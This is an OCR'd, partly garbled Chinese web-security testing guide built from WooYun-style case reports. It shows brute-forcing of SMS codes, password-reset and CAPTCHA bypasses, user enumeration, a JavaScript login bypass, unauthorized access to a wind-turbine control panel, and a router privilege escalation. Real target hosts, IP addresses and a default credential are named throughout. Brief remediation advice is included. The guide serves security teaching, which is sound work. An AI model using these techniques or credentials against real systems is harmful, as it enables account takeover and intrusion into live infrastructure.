div class= kv_item > div class= "kv_item" style="padding-bottom:10px:"> <strong class="kv_label">验证码: </strong> <input <br="" class="zc_text short" maxlength="6" type="text"/> <div:id="divgms") div)<="" th="" 遊取短信發证码(=""><td>name-"vcode"&gt;</td></div:id="divgms")>	name-"vcode">

# 188999999999 手机帐号注册

			Filter: Showing all items									
			Request	Payload		Status	Error	Timeout	Length	v C	omment	
項与账户信息			191886	291885		200			2078			
•			0			200			305	b	aseline reques	
			3	100002		200			305			
				400005	-	200		~_	205			
手机号码:	18899999999		Request	Response	1							
			Raw	eaders He	xe							
200-+			HTTP/1.1 200 OK Cache-Control: private									
室西峦向:	*******				Content-Type: application/json; charset=utf-8							
	低中	Server: Microsoft-IIS/8.5										
		- 10 March 10	X-AspNetHyc-Version: 3.0 X-AspNet-Version: 4.0.30319 Set-Cookie: Bianligou SESS=: domain=mengyou88.com: expires=Sat, 24-Jan-									
确认密码:	*******											
		Set-Cook	ie: Bian	nligou_OPEN=; c	lomain=mer	gyou88.	com; ex	pires=S	sat,	24-Jan-2		
			Set-Cook	ie: Bian	nligou_LAN=; do	main=meng	you88.c	om; exp	ires=Sa	it, 2	4-Jan-20	
验证码:	111111	南方信心证明	Set-Cook	ie: Bian	nligou ID=; don	main=mengy	ou88.co	m; expi	res=Sat	·, 24	4-Jan-201	
02 02 m	4		Set-Cook	ie: bian	arrgou_arr=, ac	merru-mentê	youdd.c	om, exp	1169-96	, 2	-1-0an-20	
	***		Bianligo	u_SESS=9	983F795E14180A6	B3B6662AB	42454C1	B400F3D	4A7D1F	60D6	83480327	
	ala.	_	E65549B9	E4E5DEAE	8985E93D3C999A2	784CA2E45	FCF993C	558CCAC	D4FFEFI	3507E	BOE112D3	
			domain=m	engyou85	3.com; path=/							
	回意余款并注册		Bianligou OPEN=882B6D142CD848CCB201239D477ACC6BC952DF9C2378E299AB5935755									
	208+-0000 * * ***		488FBED3	986E6021	1483E33A4255BD8	SFOEICOCA	AA896E9	FB5DA6C	19CE474	195A9	27F5DAAO	



2. 任意用户密码重置漏洞

http://passport.mengyou88.com/getpass



同理,爆破六位数字短信验证码

	5			I	ntruder	attack 1		
找回宓码	Attack Sa	ve Columns						
	Results	Target Positions Payloads	Options					
<ol> <li>填写找回账号 &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;</li></ol>	Filter: Showing all items							
	Request	Payload	Status	Error	Timeout	Length	Comment	
	7821	657820	200			290		
通过手机号码找回密码:	0	050000	200			311	baseline request	
	<u></u>	650000	200			311		
您的手机号码: 186****7307	Request	Response						
	Raw	leaders Hex						
短信验证码: 111111 获取短信验证码	HTTP/1							
	Cache-Co	ontrol: private						
₩e	Content. Server:	-Type: application/jsc Microsoft-IIS/8.5	on; chars	et=utf-8				
	X-AspNet	X-AspNetMvc-Version: 3.0						
下一步	X-AspNet X-Powere	-Version: 4.0.30319 ed-Bv: ASP.NET				田山川	用足,我回去吗的应该	
	Date: Si	ın, 25 Jan 2015 13:40:	O5 GMT			初立九日日	与走037820	
	Connect: Content-	ion: close -Length: 19						
		1						
	("code"	:0,"msg":""}						
	? <	+ > Type a search	term					
	11395 of 50	001						

# 找回密码

1 填写找回账	号 >>>>>>> 2 验证	正身份 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	>>>>> 3 设置新密码 >>	>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
已通过验讨	正,请设置您的心密码:			
设置密码:	••••••	•	设置新密码为woovu	1
确认密码:	•••••	0	x1,,1-1,,1,1.	
	下一步			

第四步虽然显示抱歉,处理您的请求时出错。但是已经可以使用新密码就行登录了。。。 已经可以用 wooyun 这个密码进行登录了,如图

🗲 🕲 🕕 my.mengyou88.com		V 2 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	▲ 百度 < Ctrl+K >		<b>^ ^</b>	- 14 - 19 - 5
您好,186****7307! [退	出]		我的账户 ▼│ 收藏本	□沾   帮助中心 ▼	联系我们   🛛	400-0371-856
会便	J.	请输入商品名称、关键	词等	搜	索	7购物车▼
≡ 查看全部分类	きしん ちょうそう そうそう そうしん そうしん そうしん しんしん きょうしん しんしん しんしん しんしん しんしん しんしん しんしん しんしん					
♠ 首页 > 我的云便利	_					
我的账户		HI,186****7307 ! 欢迎光临云	便利,上次登陆时间:2015/1/25:	21:30:13		
交易管理		账户余额: 0.00 元	绑定手机: 186	7307		
。 我的订单		累计积分: 0	会员级别:普通:	会员		
<ul> <li>商品点评</li> <li>我的关注</li> </ul>	修改头像	QQ	新绑定			
账户信息	待确认收货订单(0)	*				
<ul> <li>个人资料</li> <li>修改密码</li> <li>助任他抽</li> </ul>	订单号	购买商品	仓徽建时间	金额 明细	状态	操作
<ul> <li>安全退出</li> </ul>	关注商品 (0)					
	商品图片 商品名称 条码		商品价格	加入关注时间	商品状态	操作

# 3. 批量检测用户是否存在

找回密码处,没有对每个账户的唯一性以及验证码校验导致遍历用户是否存在

	Filter: Show	ving all items					
找回密码	Request	Payload	Status	Error	Timeout	Length	Comment
	1001	1888888888	200			290	
	1002	18899999999	200			290	
	1	13398761349	200			308	
	2	15308164051	200			308	
	3	13363208294	200			308	
毛和号· 10077777777	4	15314510481	200			308	
1001111111	-			<u></u>			
	Request	Response					
验证码: 92279 🥝	Raw	eaders Hex					
zue	X-AspNet X-AspNet	Mvc-Version: 3.0 -Version: 4.0.3031	.9				
	X-Powere	d-By: ASP.NET					
下一步	Date: Su	in, 25 Jan 2015 09:	43:40 GMT				
	Content-	Lon: close -Length: 37					
	{"code":	1,"msg":"000000"}					
	? <	+ > Type a se	arch term				
	Finished						

	Filter: Show	wing all items						
找回密码	Request	Payload	Status	Error	Timeout	Length		Comment
	1001	18888888888	200			290		
	1002	18899999999	200			290		
● 操与沈阳熙号	1	13398761349	200			308		
	2	15308164051	200			308		
	3	13363208294	200			308		
手机是, 10077777777	4	15314510481	200			308		
验证码: 92279	Request Raw F Server: X-AspNet X-AspNet X-Power Date: St Content- ("code" Finished	Response           leaders         Hex           Microsoft-IIS/8.5           CNvc-Version: 3.0           c-Version: 4.0.30315           de-by: ASP.NET           un, 25 Jan 2015 09:4           ion: close           -Length: 19           :0, "msg": "")           +         Type a sear	) 14:32 (***	能	够确定	存在此	:账,	户18899999999

4. 弱口令检测,存在暴力破解用户命的风险 可以用 123456 密码正常注册且登录

填写账户信息	注册成功
手机号码:	1887777777
登陆密码:	●●●●●● 高 <b>123456</b>
确认密码:	•••••
验证码:	1111111 15秒后重新获取手机验证码
	<b>同意条款并注册</b> 《盟友88服务条款》
y.mengyou88.com 	同意条款并注册 《盟友88服务条款》 ■ ○ ※ ▼ ^C ● ■ - <i>百度 <ctd+k></ctd+k></i> ♪ ☆ 自 ↓ ☆ ゥ ▼ な 地跡舟 ▼   收藤本は   帮助中心 ▼   联系北川 <b>9.400-03</b> 7
y.mengyou88.com 	同意条款并注册 《盟友88服务条款》   ⑧ ※ ▼ ^C ※ ※ → <i>□</i> ★ 白 ↓ ↑ ◆ □ ↓   1 ※ ※ ▼ ^C ※ ※ → <i>□</i> ↓   1 ※ ※ ↓   1 ※ ※ ↓   1 ※ ※ ↓   1 ※ ※ ★ 1 ※ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★
y.mengyou88.com 您好,188****7777?	「「「「「「「「「」」」」」」」」」 「「「」」」」」 「「」」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」」 「「」 「」
y.mengyou88.com <i>復好</i> , 188***7777! [退出] <b>全田の利用</b> <b>全田の利用</b> <b>直看全部分类</b> ▲ 首页 > 批約云便利 <b>我的账户</b> → 目筒調	「日意条款并注册 《盟友88服务条款》   ② 酸 ▼ C ④ 圖 → 面 ◆ ☆ ◆ ▼ ↓   1 始張户 ▼   收藏本站   帮助中心 ▼   联系我们   ❶ 400-037   1 指输入商品名称、关键词等   2 成 約 2   日本  日本  1 1, 188*****7777 ! 欧迎光临云便利, 上次登陆时间:2015/1/25 21:51:48   日本 1 年 1 年 1 年 1 年 1 年 1 年 1 年 1 年 1 年 1
y.mengyou88.com ②好,188****7777: ③出]	「     「     京     茶     茶     并     子 「     市     私 田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田     田
y.mengyou88.com ②府,188***7777: ③出] ②田二 ③田二 ③出] ③出] ③出] ③出] ③出]	「日意条款并注册         《盟友88服务条款》         ● 数 * C       ● 金 金 ◆ * 4         ● 数 * C       ● 金 金 ◆ * 4         *約照户*1 收藏本站 1 報助中心*1 联系我们 1 0 400-037
y.mengyou88.com 変好・188***7777: [退出] 定定定に を を を を を の ま か の 第 一 で る 名 な の 次 の に し し し し し し し し し し し し し	「日意条款并注册         《盟友89服务条款》         ● ☆ 自 ◆ ☆ ◆ ★ ↓         ● ☆ 自 ◆ ☆ ◆ ★ ↓         * 短頭戶 * 」 收慮本站   東助中心 * 」 联系我们   見 400-037         「福祉人商品名称、关键词等       史 ☆         ● ☆ 自 ◆ ☆ ◆ ★ ↓         ● ☆ 自 ◆ ☆ ◆ ★ ↓         ● ☆ 自 ◆ ☆ ◆ ★ ↓         ● ☆ 自 ◆ ☆ ◆ ★ ↓         ● ☆ 自 ◆ ☆ ◆ ★ ↓         ● ☆ 白 ◆ ☆ ◆ ★ ↓         ● ☆ 白 ◆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ★ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ☆ ◆ ★ ↓         ● ☆ ☆ ★ ★ ★ ↓         ● ☆ ☆ ☆ ★ ↓         ● ☆ ☆ ★ ↓         ● ☆ ☆ ☆ ↓         ● ☆ ☆ ☆ ↓         ● ☆ ☆ ☆ ↓         ● ☆ ☆ ☆ ↓         ● ☆ ☆ ☆ ↓         ● ☆ ☆ ☆ ↓         ● ☆ ☆
y.mengyou88.com 您好,188***7777: 『思出] 定定更更記	可加加       可加加         ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●       ●
y.mengyou88.com ②府,188***7777: ③田二 ②府,188***7777: ③田二 ③田二 ③田二 ③田二 ③田二 ③田二 ③田二 ③田二	可以       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○       ○
ymengyou88.com ②好,188***7777? 選出]	● ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○

修复方案:

针对任意用户注册&密码重置漏洞&批量检测用户存在否解决方法如下:

a. 增加验证码, 使之登录失败一次, 验证码变换一次。

b. 同一用户如果 10 分钟内登录失败 6 次, 禁用此用户登录 2 小时。

针对弱口令

a. 增强开发人员的安全意识

b. 注册用户时, 就避免存在 123456 这样的弱口令(满足密码复杂度要求) 建议 SDL 的同时关注以下: a. 用户的输入合法否

- b. 业务数据篡改
- c. 身份认证(平行权限与垂直权限等)
- d. 验证码安全机制
- e. 安全接口调用等
- f.代码审计(函数、变量 etc)

#### 2.6.2 验证码时间、次数测试

抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验 证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。

#### 2.6.3 验证码客户端回显测试

当客户端有需要和服务器进行交互,发送验证码时,即可使用 firefox 按 F12 调出 firebug 就可看到客户端与服务器进行交互的详细信息。

#### 2.6.4 验证码绕过测试

a. 当第一步向第二步跳转时, 抓取数据包, 对验证码进行篡改清空测试, 验证该步骤验证码是否可以绕过。

案例:中国电信某 IDC 机房信息安全管理系统设计缺陷致使系统沦陷

中国电信某 IDC 机房信息安全管理系统设计缺陷致使系统沦陷 监控大量 IP 段

详细说明:

企业侧互联网综合管理平台 180.96.19.196:8080/ucenter 重置密码漏洞:输入用户名,截包,将 step 改为4即可



#### 监控的 IP 段:

• @ 180.95.19.196.8080/ucer	iter/index/indexActioni	indexaction						Ø ‰ # - C ▲	合自 8 (	3●@·∔ 4	)- vi	• .	8 0	⊜ ≡
🔲 系统维护	11/1										<b>1</b> 9 20	n 🐮 xŦ	• en	SRIG
答 您好: admin[系统管理员]														
· 系统管理	系统状态												/	
A 5880			P-C-ENC	周京电信100年心 *								**	服务	关闭服务
) seri		<b>谢拉</b> :时段:	61. 155. 8. 1-61. 1 . 237. 1-61. 155. 2 . 18. 1-180. 96. 18 1-61. 132. 75. 256 5. 6. 255 61. 155. 61. 155. 106. 1-61	55. 8. 255 61. 155. 11. 1- 37. 255 61. 155. 238. 1-6 255 61. 132. 74. 1-61. 1 61. 155. 5. 1-61. 155. 5 7. 1-61. 155. 7. 255 61. 1 . 155. 106. 255 61. 155. 1	61. 155. 11. 127   61. 155 1. 155. 238. 255   180. 96 32. 74. 255   61. 132. 75. 255   61. 155. 6. 1-61. 15 55. 9. 1-61. 155. 9. 255   07. 1-61. 155. 107. 255									
			当前状态:	正常										
			对推扰态:	王常 (与鲁寨系统)										
		审计终端 1		1		审计终端 2				审计终端 3				-
		终端名称:	审计子端一			终端名称:	审计子端二			终端名	₿: <b>市</b> 计÷	FIRE	_	
		終済管理17:	192.168.0.35			终端管理IP:	192.168.0.36			终端管理	IP: 192.1	88. 0. 37		
		当前状况:	在线			当鲸状况:	在线			当前状	兄: 在线			
6		里白彩务器	秋田	16 <del>5</del>		重白服务器	头闭服务			重启服务器		Ai	服务	_
Ľ.		审计终端 4	le meter											
		终端名称:	审计子询问											
		终端管理:2:	192. 168. 0. 38											
		当前状况:	在线											
		重启服务器	关闭	服务										

# 61. 155. 107. 1–61. 155. 107. 255 61. 155. 236. 1–61. 155. 236. 255

€ @ 180.96.19.196⊗	080/ucenter/index/indexAct	ionlindexaction				8	🛛 🗶 - 연 🍨 수 🖨 😆	@●⊜-↓	©• ≠ • ⊛• ⊡ ⊖ ⊜ ≡
🔲 信息多	安全管理系统	1							💡 🛍 1000 🏘 7 F 💿 1911 FAR
No 您好: admin [系统管理》	Ð1								
<b>莱急</b> 快提 历史	首页	基础终端导常绘制 网页访问	110段世史世纪 法世俗机	494					新增 导入
	机房名称:全部	<ul> <li>● 机肉性质:全部</li> </ul>	<ul> <li> 直形状态: 全部</li> </ul>	*	接索 重要				
HDC经营者管理	A design of the second second								
*运营商机房管理	IDC经营单位名称	机房名称	机房编号	所在区域	机房性质	机房地址	机房管理员信息	监测状态	操作
»用 #管理	江苏南京苜蓿园100…	南京电信IDC中心	32010330000001	江苏省-南京市-市辖区	自建	中国南京市1213	胡建春	开启	/ * 🕮
→机房区域管理									
>服务器管理									
》因名管理									
>应用服务管理									
》IP地址管理									
监测日志									
🤐 策略管理									

# 属于南京电信 IDC 中心 有各种各样的监控功能

□ 信息	安全管理系统								🦁 🖬 200 🛲 9
e 忽好:admin(系统管罚	损)	12							
	· 首页	邮件访问	微速审计	网站访问排名 资源利用统计	基础数据异常监利 违法信息监制				
55 9.4 K K		登记类型:全部	•	省案类型:全部		阿姆古IP:		<b>道名</b> :	老 索
- 23月1日本	网站IP	域名		首次发现时间	最后发现时间	登记类型	音楽类型	状态	投作
》未备案域名监则	116.23.100.40			2013-09-27 09:28:42	2013+09+27 09:28:42	正常	未备案	未封堵	<b>@</b>
>未备案IP监测	116. 28. 100. 226			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未封端	2
》基础数据异常监测	116. 28. 100. 81			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未封编	<b>2</b> 3
》违法信息监测	116. 28. 100. 243			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未對端	<b>6</b>
)违法信息统计	183. 129. 135. 35			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未封握	
📁 策略管理	116. 28. 100. 134			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未封爆	2
三 过渡日志	116. 28. 100. 125			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未封端	2
R. 指令管理	116. 28. 100. 220			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备来	未封端	23
- Skiarask	116. 28. 100. 34			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未封墙	<b>2</b> 3
C NIGULE	116. 28. 100. 24			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未封捕	
胆 统计分析	<116. 28. 100. 154			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备案	未封爆	2
🔔 虛拟身份	116. 28. 100. 175			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备来	未封堵	
△ 业务处理	116. 28. 100. 108			2013-09-27 09:28:42	2013-09-27 09:28:42	正常	未备来	未封堵	<b>g</b> ]
<b>三</b> 系統信息									首页 上一页 1 下一页 尾页

## 2.6.5 验证码 js 绕过

a. 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第 三步都是放在同一个页面里,验证第一步验证码是通过 js 来判断的, 可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且 提交成功。

案例: 某省公安厅某举报管理系统可 JS 绕过登陆

请求 http://report.qilujindu.com/admin/admin.jsp,直接跳转到登陆页面:

	C ×		Ж	8	📋 🎧 http://report.qilujindu.com/admin/default.jsp 🛛 🏠 🛪 Google	
山东省公安	厅禁毒处	登录			*	



禁用 JavaScript 以阻止其跳转:

🕑 山东省公安厅禁毒处 — 登录	- Mozilla Firefox
文件(F) 编辑(E) 查看(V) 历史	(S) 书签(B) 工具(T) 帮助(H)
🔇 🛛 - C 🗙 🏠	🔏 😰 🗋 🕥 http://report.qilujindu.com/admin/default.jsp 🛛 🏠 🔹 Google
山东省公安厅禁毒处登录	选项 🛛 🗙 🔛
	☑ 阻止弹出窗口(B) 例外(E)
	☑ 自动载入图片[] 例外(※)
	□ 启用 JavaScript 高级(V) WWW.WOOyUN.org



# 2.7 业务授权安全

## 2.7.1 未授权访问

a. 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需
 要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前
 台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进
 行访问,看是否能访问成功。

案例:某发电机云控平台未授权访问

http://139.196.105.162:8081/

	ALL NO	DDE 🔻 Filter: II	•		Search		
	第一页	上一页 下一页	[ 最后-	-页 1 G	 〇 刷新 共43页 共84	08条记录, i	当前显示 1-200记录
NO.	ID	Name	Туре	Value	Time	Quality	Describe
1	1024	1 YC 0	AX	343.75998	2016-07-07 12:09:42	Good	1号 <mark>风机 有功</mark> 功率
2	1025	1 YC 2	AX	0	2016-07-07 12:09:42	Good	
3	1026	1 YC 4	AX	0	2016-07-07 12:09:42	Good	
4	1027	1 YC 6	AX	413.31	2016-07-07 12:09:42	Good	1号 风机_电网A相电压
5	1028	1 YC 8	AX	413.31	2016-07-07 12:09:42	Good	1号风机_电网B相电压
6	1029	1_YC_10	AX	414.16998	2016-07-07 12:09:42	Good	1号风机_电网C相电压
7	1030	<u>1_YC_12</u>	AX	282.5	2016-07-07 12:09:42	Good	1号 <mark>风机_电网</mark> A相电流
8	1031	1_YC_14	AX	280	2016-07-07 12:09:42	Good	1号 <mark>风机_电网</mark> B相电流
9	1032	1_YC_16	AX	280	2016-07-07 12:09:42	Good	1号 <mark>风机_电网</mark> C相电流
10	1033	1_YC_18	AX	50	2016-07-07 12:09:42	Good	1号 <mark>风机_机电</mark> 网频率
11	1034	1_YC_20	AX	0	2016-07-07 12:09:42	Good	1号 <mark>风机_电网</mark> A相频率
12	1035	1_YC_22	AX	50	2016-07-07 12:09:42	Good	1号 <mark>风机_电网</mark> B相频率
13	1036	1_YC_24	AX	50	2016-07-07 12:09:42	Good	1号 <mark>风机_电网</mark> C相频率
14	1037	1_YC_26	AX	0	2016-07-07 12:09:42	Good	1号 <mark>风机_功率</mark> 因数
15	1038	1_YC_28	AX	7.41	2016-07-07 12:09:42	Good	1号 <mark>风机_瞬时</mark> 风速
16	1039	1_YC_30	AX	7.1299996	2016-07-07 12:09:42	Good	1号 <mark>风机_30S</mark> 平均风速
17	1040	1_YC_32	AX	6.3399997	2016-07-07 12:09:42	Good	1号 <mark>风机_10分</mark> 钟平均风速
18	1041	1_YC_34	AX	7.68	2016-07-07 12:09:42	Good	1号 <mark>风机_风向</mark> 角
19	1042	1_YC_36	AX	188.26999	2016-07-07 12:09:42	Good	1号 风机_60S 平均风向角
20	1043	1_YC_38	AX	10.61	2016-07-07 12:09:42	Good	1号 <mark>风机_风轮</mark> 转速
21	1044	1_YC_40	AX	0	2016-07-07 12:09:42	Good	1号 <mark>风机_桨距</mark> 角
22	1045	1_YC_42	AX	1267.35	2016-07-07 12:09:42	Good	1号 <mark>风机_发电</mark> 机转速
23	1046	1_YC_44	AX	0	2016-07-07 12:09:42	Good	1号 <mark>风机_发电</mark> 机进风口温度
24	1047	1_YC_46	AX	56	2016-07-07 12:09:42	Good	1号 <mark>风机_发电</mark> 机定子U温度
25	1048	1_YC_48	AX	57.699997	2016-07-07 12:09:42	Good	1号 <mark>风机_发电</mark> 机定子V温度
26	1049	1_YC_50	AX	58	2016-07-07 12:09:42	Good	1号 <mark>风机_发电</mark> 机定子W温度
27	1050	1_YC_52	AX	35.699997	2016-07-07 12:09:42	Good	1月风机 合新风扇进口温度
28	1051	1 YC 54	AX	41.3	2016-07-07 12:09:42	Good	1号风机_冷却风扇出口温度

#### 2.7.2 越权测试

越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据 过分相信而遗漏了权限的判定。

a. 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)

案例:中国电信天翼宽带政企网关 A8-B 垂直越权,可获取最高权限

使用默认用户名和密码(普通权限,仅读),修改参数 id,获得 telecomadmin 权限(超级管理员权限,可读写),老问题了还没修复。可参见:wooyun-2010-077561 和 wooyun-2010-065343

详细说明:

default 用户名和密码: useradmin / admin!@#\$%[^]

测试地址(本网段应该只有五台设备): 101.231.147.81 101.231.147.42 101.231.147.193 101.231.147.233 101.231.147.241

101.231.147.81 useradmin / admin!@#\$%^



毫无悬念的进入后台

文件(E) 编辑(E) 查看(V)	) 历史(S) 书签(B) 工具(T) 帮助(E)		
设备概览	× +		
🗲 🛞 101. 231. 147. 81/cg	i-bin/webif/SystemStatus-basic.sh	マピ 🤇 投業 🗘 自 🖡 🎓 🛷	* 9
1 Mittwg.net.cn/MAl.	🖬 md5在线查询破解,md5… 🚹 101.231.1	35.66的IP… 🗌 对象管理	
INT 💌 = 🔶 SQL-	XSS* Encryption* Encoding* Other*		
Logd URL http://10	01.231.32.234/cgi-bin/webif/SystemStatu	∽basic.sh	
💑 Split URL			
Execute     Enable	Post data 🔽 Fnahla Referrar		
1 tant			
Сніпа телесом	天翼宽带政企网关A8	-В	
2 F M F F Z 大調			<b>郑昕 注</b> 描
日信息報告	以首款式 网络印度 上的17月 11名 和供 5.5 在自然的 5.5 石林的协	392 刘家昌建 四始女王 30 永观昌建	99300 (±193
<ul> <li>F 系统概览</li> </ul>	<b>设會觀觉 &gt;&gt; 信息觀觉 &gt;&gt; 糸硫觀觉</b>		
▶ 接口状态	系统信息		
F 无线状态	软件版本	V3.1.0.1	
F 3G状态	硬件版本	D0	
田 信息统计	MAC地址 设备标识	08/ae/90/03/50/32 D8AE90F1333D8AE90036032	
	上行方式	以太网上行	
	厂商设备型号	OFFICETEN1800	
	PON SN:		
	CPU占用率		
	CPU占用率	10%	

依次点击"对象管理——>用户管理——>编辑'useradmin'——>得到URL: 101.231.147.81/cgi-bin/webif/Objset-users.sh?edituser=edituser&id=5"

文件(1) 编辑(1) 査看(1	10 历史(S) 书登(B) 工具(D) 帮助		<u>_8×</u>
对象管理	× +		
🗲 🕲 101. 231. 147. 81/cj	gi-bin/webif/Objset-users.sh?edituser=	dituserêid=5 로운 🔍 (오, జ్ఞ 🖉	≈ • ⊛• <b>⊜</b> ≡
2 网站txwg.net.cn的Al…	🏬 nd5在线查询破解, nd5… 🛃 101.231	165.66的IP… ① 对象管理	
INT 💌 🗢 SQL-	VSS- Encryption Encoding Other		
Logd URL http://1	101.231.147.81/cgi-bin/webif/Objset-us	rs.sh?edituser=edituser&id=5	-
🀰 Split URL			+
• Execute	_		
Enabl	le Post data 🥅 Enable Referrer		
<b>学中国电信</b> R P M F R R 天	→ 天翼宽带政企网关A	8-B	
	设备概览 网络配置 上网行;	管理 对象管理 网络安全 36 系统管理	帮助 注销
∃ 対象管理	对象管理 >> 对象管理 >> 用户管理		
▶ 应用协议组	m Anna		
▶ 时间组	用尸酥五		
ト URL库管理	用户名	useradmin (1-32)位字符	
▶ 证书管理	密码	••••••• (4-32)位字符	
▶ 用户管理	确认密码	••••••••• (4-32)位字符	
ト 常用端口	用户权限	普通用户	
	开通业务	□ 网络U盘   访问权限: ○ 读写   ® 只读 □ unav	
	Webifild@B		
	14本		
	1700		
			应用设置

## 修改参数 id 为: id=4, 成功垂直越权 telecomadmin

文件(E) 编辑(E) 查看()	0 历史(S) 书签(B) 工具(D) 帮助(B)		_ <u>8</u> ×
对象管理	× +		
🗲 🕲 101. 231. 147. 81/cg	gi-bin/webif/Objset-users.sh?edituser=ed:	tuserkid=4 🗸 🖉 🔍 🥸	• @• @ =
⑦ 网站txwg.net.cn的Al…	🏬 md5在线查询破解,md5… 搔 101.231.10	5.66的IP···· ① 对象管理	
INT 💌 🗕 🌢 SQL-	XSS* Encryption* Encoding* Other*		
Logd URL http://1	01.231.147.81/cgi-bin/webif/Objset-users	sh?edituser=edituser&id=4	
Split URL			+
• Execute			
I Enabl	e Post data   Enable Referrer		
₽中国电信 (	→ 天留密带政企网关48	R	
2 H M F T A <b>T</b>	電燈帶		
	设备概览 网络配置 上网行为律	理 对象管理 网络安全 36 系统管理	帮助 注销
曰 对象管理	对象管理 >> 对象管理 >> 用户管理		
